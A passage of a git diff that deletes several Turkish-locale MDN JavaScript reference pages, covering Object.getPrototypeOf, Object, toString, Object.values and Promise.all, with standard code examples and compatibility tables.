Freeze properties before freezing self - - for (let name of propNames) { - let value = object[name]; - - if(value && typeof value === "object") { - deepFreeze(value); - } - } - - return Object.freeze(object); -} - -var obj2 = { - internal: { - a: null - } -}; - -deepFreeze(obj2); - -obj2.internal.a = 'anotherValue'; // fails silently in non-strict mode -obj2.internal.a; // null -</pre> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Specification</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('ESDraft', '#sec-object.freeze', 'Object.freeze')}}</td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - - - -<p>{{Compat("javascript.builtins.Object.freeze")}}</p> - -<h2 id="See_also">See also</h2> - -<ul> - <li>{{jsxref("Object.isFrozen()")}}</li> - <li>{{jsxref("Object.preventExtensions()")}}</li> - <li>{{jsxref("Object.isExtensible()")}}</li> - <li>{{jsxref("Object.seal()")}}</li> - <li>{{jsxref("Object.isSealed()")}}</li> -</ul> diff --git a/files/tr/web/javascript/reference/global_objects/object/getprototypeof/index.html b/files/tr/web/javascript/reference/global_objects/object/getprototypeof/index.html deleted file mode 100644 index c6bf7acbbf..0000000000 --- a/files/tr/web/javascript/reference/global_objects/object/getprototypeof/index.html +++ /dev/null @@ -1,134 +0,0 @@ ---- -title: Object.getPrototypeOf() -slug: Web/JavaScript/Reference/Global_Objects/Object/getPrototypeOf -tags: - - ECMAScript5 - - JavaScript - - nesne - - prototip -translation_of: Web/JavaScript/Reference/Global_Objects/Object/getPrototypeOf ---- -<div>{{JSRef}}</div> - -<p><code><strong>Object.getPrototypeOf()</strong></code> metodu, belirtilen nesnenin prototipini döndürür.</p> - -<h2 id="Syntax">Syntax</h2> - -<pre class="syntaxbox"><code>Object.getPrototypeOf(<em>nesne</em>)</code></pre> - -<h3 id="Parametreler">Parametreler</h3> - -<dl> - <dt><font face="Consolas, Liberation Mono, Courier, monospace">nesne</font></dt> - <dd>Prototipi döndürülecek olan nesne.</dd> -</dl> - -<h2 id="Örnekler">Örnekler</h2> - -<pre class="brush: js">var proto = {}; -var nesne = Object.create(proto); -Object.getPrototypeOf(nesne) === proto; // true -</pre> - -<h2 id="Notlar">Notlar</h2> - -<p>ES5'te, <code>nesne</code> parametresi bir nesne değilse sistem bir {{jsxref("TypeError")}} fırlatır. ES6'da ise, parametre bir nesne olmaya zorlanır.</p> - -<pre class="brush: js">Object.getPrototypeOf("foo"); -// TypeError: "foo" bir nesne değil (ES5 kodu) -Object.getPrototypeOf("foo"); -// String.prototype (ES6 kodu) -</pre> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Durum</th> - <th scope="col">Yorum</th> - </tr> - <tr> - <td>{{SpecName('ES5.1', '#sec-15.2.3.2', 'Object.getPrototypeOf')}}</td> - <td>{{Spec2('ES5.1')}}</td> - <td>İlk tanımlama.</td> - </tr> - <tr> - <td>{{SpecName('ES6', '#sec-object.getprototypeof', 'Object.getProtoypeOf')}}</td> - <td>{{Spec2('ES6')}}</td> - <td> </td> - </tr> - <tr> - <td>{{SpecName('ESDraft', '#sec-object.getprototypeof', 'Object.getProtoypeOf')}}</td> - <td>{{Spec2('ESDraft')}}</td> - <td> </td> - </tr> - </tbody> -</table> - -<h2 id="Tarayıcı_Uyumluluğu">Tarayıcı Uyumluluğu</h2> - -<div>{{CompatibilityTable}}</div> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Özellik</th> - <th>Chrome</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari</th> - </tr> - <tr> - <td>Temel destek</td> - <td>{{CompatChrome("5")}}</td> - <td>{{CompatGeckoDesktop("1.9.1")}}</td> - <td>{{CompatIE("9")}}</td> - <td>{{CompatOpera("12.10")}}</td> - <td>{{CompatSafari("5")}}</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Özellik</th> - <th>Android</th> - <th>Android için Chrome</th> - <th>Firefox Mobile (Gecko)</th> - <th>IE Mobile</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - </tr> - <tr> - <td>Temel destek</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - </tr> - </tbody> -</table> -</div> - -<h2 id="Opera'ya_özel_notlar">Opera'ya özel notlar</h2> - -<p>Eski Opera versiyonları <code>Object.getPrototypeOf()</code> fonksiyonunu desteklemiyor olsa da, Opera, 10.50 sürümünden beri standartlarda yer almayan {{jsxref("Object.proto", "__proto__")}} özelliğini desteklemektedir.</p> - -<h2 id="Bunlara_da_göz_atın">Bunlara da göz atın</h2> - -<ul> - <li>{{jsxref("Object.prototype.isPrototypeOf()")}}</li> - <li>{{jsxref("Object.setPrototypeOf()")}}</li> - <li>{{jsxref("Object.prototype.__proto__")}}</li> - <li>John Resig'in <a class="external" href="http://ejohn.org/blog/objectgetprototypeof/">getPrototypeOf</a> üzerine olan blog yazısı</li> - <li>{{jsxref("Reflect.getPrototypeOf()")}}</li> -</ul> diff --git a/files/tr/web/javascript/reference/global_objects/object/index.html b/files/tr/web/javascript/reference/global_objects/object/index.html deleted file mode 100644 index 7e5dfd4c7b..0000000000 --- a/files/tr/web/javascript/reference/global_objects/object/index.html +++ /dev/null @@ -1,213 +0,0 @@ ---- -title: Object -slug: Web/JavaScript/Reference/Global_Objects/Object -tags: - - Constructor - - JavaScript - - NeedsTranslation - - Object - - TopicStub -translation_of: Web/JavaScript/Reference/Global_Objects/Object ---- -<div>{{JSRef}}</div> - -<p>The <code><strong>Object</strong></code> constructor creates an object wrapper.</p> - -<h2 id="Syntax" name="Syntax">Syntax</h2> - -<pre class="syntaxbox"><code>// Object initialiser or literal -{ [ <var>nameValuePair1</var>[, <var>nameValuePair2</var>[, ...<var>nameValuePairN</var>] ] ] } - -// Called as a constructor -new Object([<var>value</var>])</code></pre> - -<h3 id="Parameters" name="Parameters">Parameters</h3> - -<dl> - <dt><code>nameValuePair1, nameValuePair2, ... nameValuePair<em>N</em></code></dt> - <dd>Pairs of names (strings) and values (any value) where the name is separated from the value by a colon.</dd> - <dt><code>value</code></dt> - <dd>Any value.</dd> -</dl> - -<h2 id="Description" name="Description">Description</h2> - -<p>The <code>Object</code> constructor creates an object wrapper for the given value. If the value is {{jsxref("Global_Objects/null", "null")}} or {{jsxref("Global_Objects/undefined", "undefined")}}, it will create and return an empty object, otherwise, it will return an object of a Type that corresponds to the given value. If the value is an object already, it will return the value.</p> - -<p>When called in a non-constructor context, <code>Object</code> behaves identically to <code>new Object()</code>.</p> - -<p>See also the <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Object_initializer">object initializer / literal syntax</a>.</p> - -<h2 id="Properties" name="Properties">Properties of the <code>Object</code> constructor</h2> - -<dl> - <dt><code>Object.length</code></dt> - <dd>Has a value of 1.</dd> - <dt>{{jsxref("Object.prototype")}}</dt> - <dd>Allows the addition of properties to all objects of type Object.</dd> -</dl> - -<h2 id="Methods" name="Methods">Methods of the <code>Object</code> constructor</h2> - -<dl> - <dt>{{jsxref("Object.assign()")}} {{experimental_inline}}</dt> - <dd>Creates a new object by copying the values of all enumerable own properties from one or more source objects to a target object.</dd> - <dt>{{jsxref("Object.create()")}}</dt> - <dd>Creates a new object with the specified prototype object and properties.</dd> - <dt>{{jsxref("Object.defineProperty()")}}</dt> - <dd>Adds the named property described by a given descriptor to an object.</dd> - <dt>{{jsxref("Object.defineProperties()")}}</dt> - <dd>Adds the named properties described by the given descriptors to an object.</dd> - <dt>{{jsxref("Object.freeze()")}}</dt> - <dd>Freezes an object: other code can't delete or change any properties.</dd> - <dt>{{jsxref("Object.getOwnPropertyDescriptor()")}}</dt> - <dd>Returns a property descriptor for a named property on an object.</dd> - <dt>{{jsxref("Object.getOwnPropertyNames()")}}</dt> - <dd>Returns an array containing the names of all of the given object's <strong>own</strong> enumerable and non-enumerable properties.</dd> - <dt>{{jsxref("Object.getOwnPropertySymbols()")}} {{ experimental_inline() }}</dt> - <dd>Returns an array of all symbol properties found directly upon a given object.</dd> - <dt>{{jsxref("Object.getPrototypeOf()")}}</dt> - <dd>Returns the prototype of the specified object.</dd> - <dt>{{jsxref("Object.is()")}} {{ experimental_inline() }}</dt> - <dd>Compares if two values are distinguishable (ie. the same)</dd> - <dt>{{jsxref("Object.isExtensible()")}}</dt> - <dd>Determines if extending of an object is allowed.</dd> - <dt>{{jsxref("Object.isFrozen()")}}</dt> - <dd>Determines if an object was frozen.</dd> - <dt>{{jsxref("Object.isSealed()")}}</dt> - <dd>Determines if an object is sealed.</dd> - <dt>{{jsxref("Object.keys()")}}</dt> - <dd>Returns an array containing the names of all of the given object's <strong>own</strong> enumerable properties.</dd> - <dt>{{jsxref("Object.observe()")}} {{experimental_inline}}</dt> - <dd>Asynchronously observes changes to an object.</dd> - <dt>{{jsxref("Object.preventExtensions()")}}</dt> - <dd>Prevents any extensions of an object.</dd> - <dt>{{jsxref("Object.seal()")}}</dt> - <dd>Prevents other code from deleting properties of an object.</dd> - <dt>{{jsxref("Object.setPrototypeOf()")}} {{experimental_inline}}</dt> - <dd>Sets the prototype (i.e., the internal <code>[[Prototype]]</code> property)</dd> -</dl> - -<h2 id="Object_instances" name="Object_instances"><code>Object</code> instances and <code>Object</code> prototype object</h2> - -<p>All objects in JavaScript are descended from <code>Object</code>; all objects inherit methods and properties from {{jsxref("Object.prototype")}}, although they may be overridden. For example, other constructors' prototypes override the <code>constructor</code> property and provide their own <code>toString()</code> methods. Changes to the <code>Object</code> prototype object are propagated to all objects unless the properties and methods subject to those changes are overridden further along the prototype chain.</p> - -<h3 id="Properties_of_Object_instances" name="Properties_of_Object_instances">Properties</h3> - -<div>{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/prototype', 'Properties') }}</div> - -<h3 id="Methods_of_Object_instances" name="Methods_of_Object_instances">Methods</h3> - -<div>{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/prototype', 'Methods') }}</div> - -<h2 id="Examples" name="Examples">Examples</h2> - -<h3 id="Example.3A_Using_Object_given_undefined_and_null_types" name="Example.3A_Using_Object_given_undefined_and_null_types">Example: Using <code>Object</code> given <code>undefined</code> and <code>null</code> types</h3> - -<p>The following examples store an empty <code>Object</code> object in <code>o</code>:</p> - -<pre class="brush: js">var o = new Object(); -</pre> - -<pre class="brush: js">var o = new Object(undefined); -</pre> - -<pre class="brush: js">var o = new Object(null); -</pre> - -<h3 id="Example_Using_Object_to_create_Boolean_objects">Example: Using <code>Object</code> to create <code>Boolean</code> objects</h3> - -<p>The following examples store {{jsxref("Global_Objects/Boolean", "Boolean")}} objects in <code>o</code>:</p> - -<pre class="brush: js">// equivalent to o = new Boolean(true); -var o = new Object(true); -</pre> - -<pre class="brush: js">// equivalent to o = new Boolean(false); -var o = new Object(Boolean()); -</pre> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>ECMAScript 1st Edition.</td> - <td>Standard</td> - <td>Initial definition. Implemented in JavaScript 1.0.</td> - </tr> - <tr> - <td>{{SpecName('ES5.1', '#sec-15.2', 'Object')}}</td> - <td>{{Spec2('ES5.1')}}</td> - <td> </td> - </tr> - <tr> - <td>{{SpecName('ES6', '#sec-object-objects', 'Object')}}</td> - <td>{{Spec2('ES6')}}</td> - <td> </td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - -<div>{{CompatibilityTable}}</div> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Chrome</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Android</th> - <th>Chrome for Android</th> - <th>Firefox Mobile (Gecko)</th> - <th>IE Mobile</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - </tr> - </tbody> -</table> -</div> - -<h2 id="See_also" name="See_also">See also</h2> - -<ul> - <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Object_initializer">Object initializer</a></li> -</ul> diff --git a/files/tr/web/javascript/reference/global_objects/object/tostring/index.html b/files/tr/web/javascript/reference/global_objects/object/tostring/index.html deleted file mode 100644 index 23593555e1..0000000000 --- a/files/tr/web/javascript/reference/global_objects/object/tostring/index.html +++ /dev/null @@ -1,161 +0,0 @@ ---- -title: Object.prototype.toString() -slug: Web/JavaScript/Reference/Global_Objects/Object/toString -translation_of: Web/JavaScript/Reference/Global_Objects/Object/toString ---- -<div>{{JSRef}}</div> - -<p><code><strong>toString() </strong>methodu verilen nesneyi String'e dönüştürür.</code></p> - -<h2 id="Syntax">Syntax</h2> - -<pre class="syntaxbox"><code><var>obj</var>.toString()</code></pre> - -<h2 id="Açıklama">Açıklama</h2> - -<p>Every object has a <code>toString()</code> method that is automatically called when the object is to be represented as a text value or when an object is referred to in a manner in which a string is expected. By default, the <code>toString()</code> method is inherited by every object descended from <code>Object</code>. If this method is not overridden in a custom object, <code>toString()</code> returns "[object <em>type</em>]", where <code><em>type</em></code> is the object type. The following code illustrates this:</p> - -<pre class="brush: js">var o = new Object(); -o.toString(); // returns [object Object] -</pre> - -<div class="note"> -<p><strong>Note:</strong> Starting in JavaScript 1.8.5 <code>toString()</code> called on {{jsxref("null")}} returns <code>[object <em>Null</em>]</code>, and {{jsxref("undefined")}} returns <code>[object <em>Undefined</em>]</code>, as defined in the 5th Edition of ECMAScript and a subsequent Errata. See {{anch("Using_toString_to_detect_object_type", "Using toString to detect object type")}}.</p> -</div> - -<h2 id="Examples">Examples</h2> - -<h3 id="Overriding_the_default_toString_method">Overriding the default <code>toString</code> method</h3> - -<p>You can create a function to be called in place of the default <code>toString()</code> method. The <code>toString()</code> method takes no arguments and should return a string. The <code>toString()</code> method you create can be any value you want, but it will be most useful if it carries information about the object.</p> - -<p>The following code defines the <code>Dog</code> object type and creates <code>theDog</code>, an object of type <code>Dog</code>:</p> - -<pre class="brush: js">function Dog(name, breed, color, sex) { - this.name = name; - this.breed = breed; - this.color = color; - this.sex = sex; -} - -theDog = new Dog('Gabby', 'Lab', 'chocolate', 'female'); -</pre> - -<p>If you call the <code>toString()</code> method on this custom object, it returns the default value inherited from {{jsxref("Object")}}:</p> - -<pre class="brush: js">theDog.toString(); // returns [object Object] -</pre> - -<p>The following code creates and assigns <code>dogToString()</code> to override the default <code>toString()</code> method. This function generates a string containing the name, breed, color, and sex of the object, in the form "<code>property = value;</code>".</p> - -<pre class="brush: js">Dog.prototype.toString = function dogToString() { - var ret = 'Dog ' + this.name + ' is a ' + this.sex + ' ' + this.color + ' ' + this.breed; - return ret; -} -</pre> - -<p>With the preceding code in place, any time <code>theDog</code> is used in a string context, JavaScript automatically calls the <code>dogToString()</code> function, which returns the following string:</p> - -<pre class="brush: js">"Dog Gabby is a female chocolate Lab" -</pre> - -<h3 id="Using_toString()_to_detect_object_class">Using <code>toString()</code> to detect object class</h3> - -<p><code>toString()</code> can be used with every object and allows you to get its class. To use the <code>Object.prototype.toString()</code> with every object, you need to call {{jsxref("Function.prototype.call()")}} or {{jsxref("Function.prototype.apply()")}} on it, passing the object you want to inspect as the first parameter called <code>thisArg</code>.</p> - -<pre class="brush: js">var toString = Object.prototype.toString; - -toString.call(new Date); // [object Date] -toString.call(new String); // [object String] -toString.call(Math); // [object Math] - -// Since JavaScript 1.8.5 -toString.call(undefined); // [object Undefined] -toString.call(null); // [object Null] -</pre> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName('ES1')}}</td> - <td>{{Spec2('ES1')}}</td> - <td>Initial definition. Implemented in JavaScript 1.0.</td> - </tr> - <tr> - <td>{{SpecName('ES5.1', '#sec-15.2.4.2', 'Object.prototype.toString')}}</td> - <td>{{Spec2('ES5.1')}}</td> - <td>Call on {{jsxref("Global_Objects/null", "null")}} returns <code>[object <em>Null</em>]</code>, and {{jsxref("Global_Objects/undefined", "undefined")}} returns <code>[object <em>Undefined</em>]</code></td> - </tr> - <tr> - <td>{{SpecName('ES6', '#sec-object.prototype.tostring', 'Object.prototype.toString')}}</td> - <td>{{Spec2('ES6')}}</td> - <td> </td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - -<div>{{CompatibilityTable}}</div> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Chrome</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Android</th> - <th>Chrome for Android</th> - <th>Firefox Mobile (Gecko)</th> - <th>IE Mobile</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - </tr> - </tbody> -</table> -</div> - -<h2 id="See_also">See also</h2> - -<ul> - <li>{{jsxref("Object.prototype.toSource()")}}</li> - <li>{{jsxref("Object.prototype.valueOf()")}}</li> -</ul> diff --git a/files/tr/web/javascript/reference/global_objects/object/values/index.html b/files/tr/web/javascript/reference/global_objects/object/values/index.html deleted file mode 100644 index 82ee284be2..0000000000 --- a/files/tr/web/javascript/reference/global_objects/object/values/index.html +++ /dev/null @@ -1,96 +0,0 @@ ---- -title: Object.values() -slug: Web/JavaScript/Reference/Global_Objects/Object/values -tags: - - Javascripts Metot Nesneler -translation_of: Web/JavaScript/Reference/Global_Objects/Object/values ---- -<div>{{JSRef}}</div> - -<p><code><strong>Object.values()</strong></code> yöntemi belirli bir nesnenin kendi numaralandırılabilir özellik değerlerinin {{jsxref("Statements/for...in", "for...in")}} döngüsü tarafından sağlanan sırayla dizileri döndürür (fark şu ki; bir for-in döngüsü prototip zincirindeki özelliklerle numaralandırılır).</p> - -<h2 id="Sözdizimi">Sözdizimi</h2> - -<pre class="syntaxbox">Object.values(<var>obj</var>)</pre> - -<h3 id="Parametre">Parametre</h3> - -<dl> - <dd>Nesne, sayısız numaralandırılabilir kendi özellikleri döndürülendir.</dd> -</dl> - -<h3 id="Return_değeri">Return değeri</h3> - -<p>Diziler verilen nesnenin kendi numaralandırılabilir özellik değerlerini içerir.</p> - -<h2 id="Tanım">Tanım</h2> - -<p><code>Object.values()</code> Nesne, nesne üzerinde bulunan özellik değerleri numaralandırılabilir elemanları olan dizileri döndürür. Özelliklerin sıralaması nesnenin özellik değerleri üzerinde manul olarak döndürülenle aynıdır.</p> - -<p>Örnekler</p> - -<pre class="brush: js">var obj = { foo: 'bar', baz: 42 }; -console.log(Object.values(obj)); // ['bar', 42] - -// nesne gibi olan diziler -var obj = { 0: 'a', 1: 'b', 2: 'c' }; -console.log(Object.values(obj)); // ['a', 'b', 'c'] - -// nesneler gibi rast gele anahtar sıralamalı diziler -// numerik anahtarları kullandığımızda değerler, anahtarlara göre numerik sırayla döndürülür. -var an_obj = { 100: 'a', 2: 'b', 7: 'c' }; -console.log(Object.values(an_obj)); // ['b', 'c', 'a'] - -// getFoo bir sayılamayan özelliktir. -var my_obj = Object.create({}, { getFoo: { value: function() { return this.foo; } } }); -my_obj.foo = 'bar'; -console.log(Object.values(my_obj)); // ['bar'] - -// nesne olmayan değişken nesne olmaya zorlanır. -console.log(Object.values('foo')); // ['f', 'o', 'o'] -</pre> - -<h2 id="Polyfill">Polyfill</h2> - -<p>Uyumlu <code>Object.values</code> eklemek için doğal olarak desteklenmeyen daha eski ortamları destekler. Siz şu adreste " <a href="https://github.com/tc39/proposal-object-values-entries">tc39/proposal-object-values-entries</a> " veya "<a href="https://github.com/es-shims/Object.values">es-shims/Object.values</a> "repositorilerde bir polyfill bulabilirsiniz.</p> - -<h2 id="Specificatsupport_in_older_environments_that_do_not_natively_support_it_you_can_find_a_Polyfill_in_the_ions">Specificatsupport in older environments that do not natively support it, you can find a Polyfill in the ions</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Tanım</th> - <th scope="col">Konum</th> - <th scope="col">Yorum</th> - </tr> - <tr> - <td>{{SpecName('ESDraft', '#sec-object.values', 'Object.values')}}</td> - <td>{{Spec2('ESDraft')}}</td> - <td>Ilk tanım.</td> - </tr> - <tr> - <td>{{SpecName('ES8', '#sec-object.values', 'Object.values')}}</td> - <td>{{Spec2('ES8')}}</td> - <td> </td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - -<div> - - -<p>{{Compat("javascript.builtins.Object.values")}}</p> -</div> - -<h2 id="See_also">See also</h2> - -<ul> - <li><a href="/en-US/docs/Web/JavaScript/Enumerability_and_ownership_of_properties">Enumerability and ownership of properties</a></li> - <li>{{jsxref("Object.keys()")}}</li> - <li>{{jsxref("Object.entries()")}}</li> - <li>{{jsxref("Object.prototype.propertyIsEnumerable()")}}</li> - <li>{{jsxref("Object.create()")}}</li> - <li>{{jsxref("Object.getOwnPropertyNames()")}}</li> -</ul> diff --git a/files/tr/web/javascript/reference/global_objects/promise/all/index.html b/files/tr/web/javascript/reference/global_objects/promise/all/index.html deleted file mode 100644 index cc57749d77..0000000000 --- a/files/tr/web/javascript/reference/global_objects/promise/all/index.html +++ /dev/null @@ -1,234 +0,0 @@ ---- -title: Promise.all() -slug: Web/JavaScript/Reference/Global_Objects/Promise/all -translation_of: Web/JavaScript/Reference/Global_Objects/Promise/all ---- -<div>{{JSRef}}</div> - -<p>The <strong><code>Promise.all()</code></strong> method returns a single {{jsxref("Promise")}} that resolves when all of the promises passed as an iterable have resolved or when the iterable contains no promises. It rejects with the reason of the first promise that rejects.</p> - -<div>{{EmbedInteractiveExample("pages/js/promise-all.html")}}</div> - -<p class="hidden">The source for this interactive demo is stored in a GitHub repository. If you'd like to contribute to the interactive demo project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</p> - -<h2 id="Söz_dizimi">Söz dizimi</h2> - -<pre class="syntaxbox">Promise.all(<var>iterable</var>);</pre> - -<h3 id="Parametreler">Parametreler</h3> - -<dl> - <dt><code>iterable</code></dt> - <dd>{{jsxref("Array")}} yada {{jsxref("String")}} gibi <a href="/en-US/docs/Web/JavaScript/Reference/Iteration_protocols#The_iterable_protocol">iterable</a> nesnesi.</dd> -</dl> - -<h3 id="Dönen_değer">Dönen değer</h3> - -<ul> - <li>An <strong>already resolved</strong> {{jsxref("Promise")}} if the <var>iterable</var> passed is empty.</li> - <li>An <strong>asynchronously resolved</strong> {{jsxref("Promise")}} if the <var>iterable</var> passed contains no promises. Note, Google Chrome 58 returns an <strong>already resolved</strong> promise in this case.</li> - <li>A <strong>pending</strong> {{jsxref("Promise")}} in all other cases. This returned promise is then resolved/rejected <strong>asynchronously</strong> (as soon as the stack is empty) when all the promises in the given <var>iterable</var> have resolved, or if any of the promises reject. See the example about "Asynchronicity or synchronicity of Promise.all" below. Returned values will be in order of the Promises passed, regardless of completion order.</li> -</ul> - -<h2 id="Açıklama">Açıklama</h2> - -<p>This method can be useful for aggregating the results of multiple promises.</p> - -<h3 id="Fulfillment">Fulfillment</h3> - -<p>The returned promise is fulfilled with an array containing <strong>all </strong>the values of the <var>iterable</var> passed as argument (also non-promise values).</p> - -<ul> - <li>If an empty <var>iterable</var> is passed, then this method returns (synchronously) an already resolved promise.</li> - <li>If all of the passed-in promises fulfill, or are not promises, the promise returned by <code>Promise.all</code> is fulfilled asynchronously.</li> -</ul> - -<h3 id="Rejection">Rejection</h3> - -<p>If any of the passed-in promises reject, <code>Promise.all</code> asynchronously rejects with the value of the promise that rejected, whether or not the other promises have resolved.</p> - -<h2 id="Örnekler">Örnekler</h2> - -<h3 id="Promise.all_Kullanımı"><code>Promise.all</code> Kullanımı</h3> - -<p><code>Promise.all</code> tüm işlemler yerine getirilene kadar bekler (yada ilk reddedilmeye kadar).</p> - -<pre class="brush: js">var p1 = Promise.resolve(3); -var p2 = 1337; -var p3 = new Promise((resolve, reject) => { - setTimeout(() => { - resolve("foo"); - }, 100); -}); - -Promise.all([p1, p2, p3]).then(values => { - console.log(values); // [3, 1337, "foo"] -});</pre> - -<p>If the <var>iterable</var> contains non-promise values, they will be ignored, but still counted in the returned promise array value (if the promise is fulfilled):</p> - -<pre class="brush: js">// this will be counted as if the iterable passed is empty, so it gets fulfilled -var p = Promise.all([1,2,3]); -// this will be counted as if the iterable passed contains only the resolved promise with value "444", so it gets fulfilled -var p2 = Promise.all([1,2,3, Promise.resolve(444)]); -// this will be counted as if the iterable passed contains only the rejected promise with value "555", so it gets rejected -var p3 = Promise.all([1,2,3, Promise.reject(555)]); - -// using setTimeout we can execute code after the stack is empty -setTimeout(function() { - console.log(p); - console.log(p2); - console.log(p3); -}); - -// logs -// Promise { <state>: "fulfilled", <value>: Array[3] } -// Promise { <state>: "fulfilled", <value>: Array[4] } -// Promise { <state>: "rejected", <reason>: 555 }</pre> - -<h3 id="Asynchronicity_or_synchronicity_of_Promise.all">Asynchronicity or synchronicity of <code>Promise.all</code></h3> - -<p>This following example demonstrates the asynchronicity (or synchronicity, if the <var>iterable</var> passed is empty) of <code>Promise.all</code>:</p> - -<pre class="brush: js">// we are passing as argument an array of promises that are already resolved, -// to trigger Promise.all as soon as possible -var resolvedPromisesArray = [Promise.resolve(33), Promise.resolve(44)]; - -var p = Promise.all(resolvedPromisesArray); -// immediately logging the value of p -console.log(p); - -// using setTimeout we can execute code after the stack is empty -setTimeout(function() { - console.log('the stack is now empty'); - console.log(p); -}); - -// logs, in order: -// Promise { <state>: "pending" } -// the stack is now empty -// Promise { <state>: "fulfilled", <value>: Array[2] } -</pre> - -<p>The same thing happens if <code>Promise.all</code> rejects:</p> - -<pre class="brush: js">var mixedPromisesArray = [Promise.resolve(33), Promise.reject(44)]; -var p = Promise.all(mixedPromisesArray); -console.log(p); -setTimeout(function() { - console.log('the stack is now empty'); - console.log(p); -}); - -// logs -// Promise { <state>: "pending" } -// the stack is now empty -// Promise { <state>: "rejected", <reason>: 44 } -</pre> - -<p>But, <code>Promise.all</code> resolves synchronously <strong>if and only if</strong> the <var>iterable</var> passed is empty:</p> - -<pre class="brush: js">var p = Promise.all([]); // will be immediately resolved -var p2 = Promise.all([1337, "hi"]); // non-promise values will be ignored, but the evaluation will be done asynchronously -console.log(p); -console.log(p2) -setTimeout(function() { - console.log('the stack is now empty'); - console.log(p2); -}); - -// logs -// Promise { <state>: "fulfilled", <value>: Array[0] } -// Promise { <state>: "pending" } -// the stack is now empty -// Promise { <state>: "fulfilled", <value>: Array[2] } -</pre> - -<h3 id="Promise.all_fail-fast_behaviour"><code>Promise.all</code> fail-fast behaviour</h3> - -<p><code>Promise.all</code> is rejected if any of the elements are rejected. For example, if you pass in four promises that resolve after a timeout and one promise that rejects immediately, then <code>Promise.all</code> will reject immediately.</p> - -<pre class="brush: js">var p1 = new Promise((resolve, reject) => { - setTimeout(() => resolve('one'), 1000); -}); -var p2 = new Promise((resolve, reject) => { - setTimeout(() => resolve('two'), 2000); -}); -var p3 = new Promise((resolve, reject) => { - setTimeout(() => resolve('three'), 3000); -}); -var p4 = new Promise((resolve, reject) => { - setTimeout(() => resolve('four'), 4000); -}); -var p5 = new Promise((resolve, reject) => { - reject(new Error('reject')); -}); - - -// Using .catch: -Promise.all([p1, p2, p3, p4, p5]) -.then(values => { - console.log(values); -}) -.catch(error => { - console.log(error.message) -}); - -//From console: -//"reject" - -</pre> - -<p>It is possible to change this behaviour by handling possible rejections:</p> - -<pre class="brush: js">var p1 = new Promise((resolve, reject) => { - setTimeout(() => resolve('p1_delayed_resolvement'), 1000); -}); - -var p2 = new Promise((resolve, reject) => { - reject(new Error('p2_immediate_rejection')); -}); - -Promise.all([ - p1.catch(error => { return error }), - p2.catch(error => { return error }), -]).then(values => { - console.log(values[0]) // "p1_delayed_resolvement" - console.log(values[1]) // "Error: p2_immediate_rejection" -}) -</pre> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName('ES2015', 